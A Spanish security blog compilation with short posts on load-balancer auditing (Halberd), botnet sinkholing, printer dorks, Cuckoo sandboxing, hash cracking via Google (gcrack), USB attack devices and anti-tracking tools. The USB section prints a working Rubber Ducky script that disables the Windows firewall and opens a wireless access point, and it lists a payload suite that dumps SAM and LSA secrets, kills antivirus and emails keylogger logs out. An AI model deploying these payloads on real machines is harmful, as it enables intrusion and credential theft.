Auditar la seguridad de la configuración del balanceo de carga de servidores Web.

Para poder hacer frente al tráfico Web muchas veces los administradores de servidores Web tienen que implementar balanceadores de carga. Los balanceadores de carga ocultan muchos servidores web verdaderos detrás de una IP virtual. Reciben peticiones HTTP y las dirigen a los servidores web para compartir el tráfico entre ellos.

Con la herramienta Halberd permite descubrir los servidores que se encuentras detrás del balanceador de carga y auditar la seguridad de la configuración.

El modo de funcionamiento de Halberd se divide en tres etapas:

• Inicialmente, envía peticiones múltiples al servidor Web a auditar y registra sus respuestas. Esto se denomina fase de muestreo.
• Después, el programa procesa las contestaciones y busca muestras del equilibrio de carga. Esto se llama la fase de análisis.
• Finalmente, la Halberd escribe un informe de sus resultados.

Halberd utiliza las siguientes técnicas:

Comparación de la fecha. Las respuestas HTTP revelan el reloj interno del servidor Web que las produce. Si aparecen varios resultados con tiempos de reloj diferente, Halberd identifica número de servidores verdaderos. Este método funciona si los servidores Web no están sincronizados con un NTP.

Diferencia de nombres de campo de las cabeceras del MIME. Las diferencias en los campos que aparecen en respuestas del servidor pueden permitir que la Halberd identifique los servidores.

Generación de altas cantidades de tráfico. Bajo ciertas configuraciones, los balanceadores de la carga comienzan a distribuir tráfico, solamente después de que se alcance cierto umbral. Esta herramienta intenta generar un volumen de tráfico importante para accionar esta condición y alcanzar tantos servidores verdaderos como sea posible.

Usando diversas URL. Un balanceador de carga se puede configurar para redirigir el tráfico a distintos servidores según la URL a la que se acceda. Esta herramienta utiliza una araña para navegar por las diferentes URL para diferenciar los distintos servidores que contestan.

Detección de cache del servidor. Detecta si los servidores web utilizan cache para acelerar las peticiones con programas tipo Squid.

Obtención de IP públicas. A veces las cookies o los campos especiales del MIME en respuestas del servidor pueden revelar direcciones IP públicas de los servidores web. En estos casos se puede puentear el balanceador de carga y acceder directamente al servidor web.

Más información y descarga de Halberd:
http://halberd.superadditive.com/

Manual de Halberd:
http://halberd.superadditive.com/doc/manual/

¿Qué es un Sinkhole?

Hablando sobre naturaleza, un sinkhole - término inglés - define un hundimiento de tierra u hoyo. En el mundo de informática, sin embargo, se denomina sinkhole a una técnica de defensa contra botnets que puede neutralizar la misma completamente, puesto que trata de controlar el punto al que se conectarán los ordenadores infectados, atrayéndolos como si fuese un agujero de verdad.

Para tratar con un ejemplo real, vamos a ver cómo está siendo “sinkholeado” el troyano Mebroot, también conocido como Sinowal/Torpig. Antes de nada, debemos mencionar que esta familia de malware no se conecta únicamente a un único panel de control, sino que utiliza un algoritmo para generar los nombres de dominio a los que se conectará. 

Peticiones realizadas desde una maquina infectada

La generación de dominios continúa hasta que uno de ellos resuelva y se compruebe su validez. Esta técnica no es novedosa, y se utiliza para que la botnet sea más difícil de destruir, a la vez que permite poder recuperar la botnet en cualquier momento registrando un dominio futuro que se sepa que va a ser generado el día X. No obstante, tiene su desventaja, y es que cualquiera que conozca o descifre el algoritmo de generación de dominios podría ir un paso por delante y registrar uno de los dominios a los que se conectarán los bots.

Como veremos a continuación, justo lo escrito arriba está pasando con la muestra que hemos analizado, y es que el servidor  que finalmente se pudo resolver dicho día envió el siguiente mensaje:

Respuesta descifrada desde del C&C

El bot en cuestión recibió el comando NOOP junto con la nota pwned, indicándole que se quedara en espera (NO OPeration) y paró de generar más dominios.

Con esto, podemos decir que el servidor malicioso ha sido reemplazado por uno controlado presuntamente por investigadores de seguridad, y los propietarios de ese servidor podrán obtener inteligencia acerca del tamaño de la botnet, las IPs de las víctimas, hasta avisar los proveedores de servicios de internet de una infección posible.

Jozsef Gegeny

S21sec ACSS

Explotación de vulnerabilidades en impresoras

El uso de Google Dorks para encontrar equipos en la red no es algo novedoso. De echo se usa para buscar versiones de software específico y poder usar los últimos exploits que han salido. Y que lo mas seguro, es que algunos administradores no hayan parcheado sus equipos.
Los cracks de Hackplayers el otro día publicaban algunos dorks para encontrar cámaras IP usando Google Dorks.
http://www.hackplayers.com/2013/01/google-dorks-para-espiar-webcams.html
En el POST podemos encontrar una manera de encontrar impresoras vulnerables. Además hay herramienta para realizar la epxlotación de la vulnerabilidad.
Es por eso que podemos hacer búsquedas del siguiente tipo:

Impresoras vulnerables

Además tenemos, como comentaba, la herramienta está disponible en GitHub
https://github.com/percx/Praeda
Be powerful with Google!

Análisis automático de malware con Cuckoo

Hay que entender que Cuckoo es como un Daemon es decir, lo hemos de dejar ejecutándose, y subir los binarios o URL para que Cuckoo las vaya analizando.
Para empezar, nos vamos al PATH, donde tenemos Cuckoo y ejecutamos:

python cuckoo.py

Por pantalla podremos ver algo así:

Ahora Cuckoo cuando lanzemos las tareas de análisis nos irá mostrando por pantalla que va haciendo. Además si por o que fuera tuviéramos algún error nos lo mostraría por pantalla.
Escogemos un binario cualquiera a analizar y se lo pasamos como parámetro al submit de cuckoo, así:

python submit.py troyano.exe

En Cuckoo veremos cosas como:

Cuckoo irá realizando las tareas una por una, hasta acabar.
Cuando acaba, nos genera un reports  en varios formatos que podremos consultar mas tarde.
Para verlo hará falta arrancar la parte web, ejecutamos:

python web.py

Si no queremos arrancarlo en localhost se le puede pasar como parámetro -t IP -p PUERTO
La web tiene este aspecto:

Si queremos ver un report en concreto, clicamos sobre el MD5 que queramos ver y podemos ver un resumen del binario analizado.

El report está detallado, en conexiones de red, características del binario etc… Además te realiza pantallazos para que puedas ver que ocurre.
Cuckoo también es capaz de analizar URL, para ello debemos de pasarle lo siguiente:

python submit.py -u URL_MALICIOSA -p ie

Con esto, Cuckoo abrirá esta URL con Internet Explorer y por ejemplo capturará si se baja algún binario o se crean archivos adicionales.
Como véis Cuckoo ofrece bastante versatilidad como herramienta de análisis de malware.

Gcrack descifrando hashes con Google

En los procesos de auditoría, cuando se consigue acceso a una máquina, con Meterpreter es posible por ejemplo hacer un volcado de los hashes de la máquina. Aunque se consiga hacer el volcado es importante el poder obtener la contraseña en claro. Como “no somos tan diferentes” seguro que el hash de la contraseña ya está en Internet 
Así que Grack se encargará de hacer esa búsqueda del hash.
Como dependencias usaremos python-lxml y python-nltk. Hacemos la prueba de búsqueda de hashes de contraseñas.
Primero de todo nos bajamos Grack para usarlo:

git clone https://github.com/tkisason/gcrack.git

Ejecutamos Grack para buscar los hashes en Google

*****@*******:~/tools/brute_force/gcrack:python gcrack.py hashes
[+] Hashes loaded, using google_attack to crack them
md5(qwerty) d8578edf8458ce06fbc5bb76a58c5ca4
md5(password) 5f4dcc3b5aa765d61d8327deb882cf99
md5(alkali) f7f41ad5328d528a751c55fa2fcf7273
md5(password09) 8350513a8aff1d5bc1534dbd90747bb8
sha1(123456) 7c4a8d09ca3762af61e59520943dc26494f8941b
sha1(security) 8eec7bc461808e0b8a28783d0bec1a3a22eb0821
md5(admin) 21232f297a57a5a743894a0e4a801fc3
sha1(crypto) 44a9713350e53858f058463d4bf7f1e542d9ca4b
[+] Found 8 of 8

Como podés ver la herramienta ha sido capaz de encontrar los hashes en Google

USB hacking

El acceso físico a una máquina siempre puede suponer un problema de seguridad. No por el robo del equipo sino porque alguien de manera intencionada podría por ejemplo conectando un USB instalar un malware, o aprovechandose de una vulnerabilidad 0day del sistema operativo ejecutar código remoto y tener una shell  con permisos de administrador.
El artículo de hoy no trata sobre la explotación de una vulnrabilidad, sino de proyectos que tratan sobre “USB hacking”.
No creáis que estos USB son grandes.. y que se verán en seguida, los dispositivos que se usan para estas cosas son pequeños, y incluso tienen soporte para SD.

USB Rubber Ducky

Como veis el dispositivo es bastante pequeño y además tiene soporte para tarjeta SD.
¿Que proyectos existen?
El mas novedoso hasta la fecha es el de Rubber Ducky, podéis encontrar información sobre él en Code Google
El proyecto posee las siguientes características:

• Firmware to Support Windows, Linux, Mac OS X, Android & IOS
• Firmware to Support OSX only! (by demand)
• Firmware to Support Mass Storage (acts like USB Drive)
• Firmware to Support Multiple Payloads in HID mode
• New Firmware Composite Device; Mass Storage & Keyboard (Button triggers Keyboard) Language Independent
• New Feature Version 2 firmware supports easy VID & PID manipulation through binary file vidpid.bin.

Operating Systems Supported:

• Windows
• Unix (Linux,Solaris,BSD)
• OSX
• Android
• IOS

Multiple HID Language Support

• US (United States)
• UK (United Kingdom)
• DE (German)
• DA (Danish)
• FR (French)
• BE (Belgian)
• NO (Norwegian)
• PT (Portuguese)
• SV (Swedish)
• RU (Russian) (testing)

Script(s) to reverse Hak5 Ducky Binaries (inject.bin files) into their ducky script form.

• Currently Supports En-US and En-GB Languages

Además podremos crear distintos Payloads según nuestras necesidades. Tendremos una página que nos genera alguno de ellos.

Payloads Rubber Ducky

Para ver un ejemplo en Windows 7:

REM Author: Darren Kitchen
REM Target: Windows 7
REM Description: Create a Wireless AP and disable firewall.
DELAY 2000
CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 100
LEFTARROW
ENTER
DELAY 200
STRING netsh wlan set hostednetwork mode=allow ssid=Seifreed key=CLAVE
ENTER
DELAY 100
STRING netsh wlan start hostednetwork
ENTER
DELAY 100
STRING netsh firewall set opmode disable
ENTER
STRING exit
ENTER

En este caso el usuario se conectaría al punto de acceso y el firewall quedaría deshabilitado.

QUACK

Puedes colaborar con tu propio PAYLOAD si quieres
Otro de los proyectos interesantes de USB Hacking es USB Pocket Knife
El proyecto es muy ambicioso y tiene muy buenas características, el detalle:

Key:
- Non-U3 Drives Only
- U3 Drives only
- Not yet Implemented
- Everything Else
Features:
- Upon insertion, the first option in the Autorun dialog box starts the payload, while appearing only to open the drive.
- Full silent autorun with no user interaction for U3 drives.
- A “Menu.bat” is included to mange all special functions, modules, and features of the switchblade.
- Payload checks the root of the C: drive and prevents the payload from running if the file “Safety.txt” is found.
- Includes TightVNC viewer so you always have it with you.
- Includes Notepad++ for easy batch editing.
- Includes antidote batch files for Nmap, the Hacksaw, and VNC.
- Fully commented code and fully featured ReadMe with instructions on setting up the payload for your needs.
- A custom backup and restore script, which automatically restores the switchblade (to the last time it was backed up) before every run. This ensures the payload is always put back to a normal state, even after it’s been nuked by an antivirus.
- A custom auto-update script that goes out and downloads the most recent versions of many of the tools used on the switchblade (pwdump, nircmd, etc). Simply run it from Menu.bat, and the tools will be downloaded, extracted, and installed into the payload. The backup archive for the entire payload will also be updated to keep the latest versions of the files from being overwritten by an old backup. *working on a way to get this working for U3 drives.
- Auto Compress logs as they are generated to save space
- Email logs Back to yourself
- Optional auto-repack of executable to circumvent AV detection
Payload Components:
- Runs AVKill (csrss.exe)
- Restores the payload to the last backup point
- Disables the Windows Firewall Silently
- Hides Hidden and System Files
- Enables the Remote Desktop service
- Dumps general System Info
- Dumps the SAM
- Dumps LSA secrets
- Dumps LSA secrets via an alternate method (less detectable, not as pretty)
- Dumps Network Passwords
- Dump messenger passwords
- Dump IE passwords.
- Dump saved wireless keys
- Dump URL history
- Dump Firefox passwords (Supports Firefox 3))
- Dump Cache Passwords
- Dump Current Network Services
- Generic Port Scanning
- Dumps current external IP
- Dumps email, messenger, and general website passwords
- Dumps currently installed hot fixes and IE history
- Dumps Google Chrome passwords
- Installs Hacksaw the usual way
- Installs WinVNC client.
- Installs Nmap as a service (emails you results like the Hacksaw)
- Installs a keylogger which emails its logs off to you daily [Broken!]
- File slurping for logs, chat-logs, downloads, bookmarks, etc. (smaller files)
- File slurping for various Documents and Media folders. (larger files)
- Opens an explorer window to the Documents folder when finished
- Automatic update scrip to keep various executables up to date.
- Compress logs as they are generated to save space.
- Optionally email logs in addition to storing them on the switchblade.
- Management interface to manage the various functions of the pocket Knife.
- Ability to save up to 3 configuration profiles [New!]

El USB hacking no es algo pasado de moda y con una buena suite instalada se pueden hacer estragos

Guia definitiva para el “tracking de navegación”

l tracking de navegación es algo de lo que se está hablando mucho últimamente, diversos investigadores hacen hincapié en la importancia del tracking. Cuando visitas una página web tus datos son enviados a terceros sin que tu lo sepas. Estos fenómenos se llaman remarketing o retargeting. 
Proyectos como Do not track Plus cuando llegas a una página te indican donde se van a enviar esos datos.

Dont track plus

Además hay extensiones que se pueden instalar en el navegador que proporcionar esa privacidad, yo creo necesaria, en la navegación.
El artículo de hoy viene dado ya que hay un proyecto en Internet que explica paso por paso como configurar y que instalar para aumentar privacidad y sobretodo evitar el tema del tracking.
El proyecto podéis encontrarlo en:
http://fixtracking.com/
Seguro que lo encontráis interesante y lo mas importante aumentáis vuestra privacidad en internet.